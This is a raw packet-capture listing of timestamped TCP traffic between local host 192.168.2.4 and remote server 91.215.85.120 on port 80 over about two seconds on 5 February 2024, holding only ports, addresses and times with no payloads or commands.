Feb 5, 2024 10:57:24.966566086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.966583014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.966768026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.966877937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.966897011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.966917038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.966929913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.966963053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967513084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967611074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967629910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967648029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967663050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967667103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967685938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967704058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967705965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967722893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967749119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967766047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967808962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967864990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967883110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967911005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967928886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967940092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967951059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967958927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.967971087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967988014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.967997074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968009949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968028069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968039036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968046904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968070030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968086958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968097925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968111992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968118906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968132019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968151093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968154907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968169928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968188047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968204975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968214989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968230009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968247890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968250990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968266010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968277931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968285084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968302965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968318939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968319893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968339920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968353033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968358994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968378067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968384027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968419075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968430042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968451023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968467951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968485117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968503952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968513012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968522072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968530893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968542099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968559027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968568087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968580008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968596935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968607903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968616009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968636036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968653917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968657970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968676090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968686104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968694925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968713045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968724966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968730927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968750954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968765020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968770981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968790054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968796968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968808889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968828917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968837976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968849897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968868017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968885899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968897104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968904972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968914032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968924999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968944073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968950987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.968962908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968985081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.968993902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969005108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969026089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969042063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969052076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969058990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969069958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969079018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969099045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969106913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969118118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969139099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969150066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969156981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969175100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969192982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969202042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969212055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969223022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.969234943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.969259024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977140903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977159977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977180004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977191925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977224112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977231026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977251053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977271080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977288961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977308989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977336884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977336884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977628946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977674961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977675915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977715969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977736950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977755070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977773905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977780104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977792978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977798939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977813959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977842093 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977884054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977907896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977947950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.977950096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.977977037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.978002071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.978002071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.978020906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.978041887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.978059053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.978068113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.978087902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.979753017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979774952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979793072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979804993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.979813099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979831934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979857922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.979881048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.979887009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979907036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.979974985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980015039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980032921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980048895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980066061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980081081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980082989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980104923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980123043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980123997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980143070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980159998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980160952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980181932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980184078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980200052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980216980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980233908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980251074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980268955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980273962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980293036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980298996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980313063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980329037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980350971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980361938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980369091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980386019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980391979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980412006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980424881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980441093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980460882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980473995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980482101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980499029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980514050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.980515957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.980565071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988262892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988290071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988312960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988339901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988369942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988374949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988390923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988406897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988424063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988440037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988449097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988460064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988467932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988481045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988491058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988507032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988516092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988524914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988540888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988542080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988567114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988584042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988585949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988603115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988607883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988621950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988639116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988648891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988656998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988675117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988677979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988696098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988714933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988732100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.988739014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.988770962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.041424990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.043720961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.209039927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:25.261671066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.714754105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.714911938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.954411030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:25.971985102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:25.975927114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:25.976022005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.215751886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.234297037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.251171112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.251171112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.491086960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510303974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510356903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510397911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510430098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510436058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510477066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510514975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510524988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510564089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510576963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510603905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510642052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510679007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510694027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510715961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510727882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510754108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510791063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510835886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510847092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510886908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510900021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.510960102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.510998011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511034012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511046886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511080980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511090040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511121035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511159897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511195898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511209011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511234999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511241913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511274099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511312008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511349916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511369944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511387110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511392117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511425972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511462927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511501074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511512995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511538982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511549950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511579037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511615992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511651993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511652946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511691093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511704922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511729002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511765957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511801958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511821032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511838913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511842012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511879921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511917114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511954069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.511967897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.511992931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512031078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512052059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.512069941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512106895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512126923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.512147903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512167931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.512186050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512223005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512255907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.512259960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512298107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.512315989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.512335062 CET	80	49735	91.215.85.120	192.168.2.4
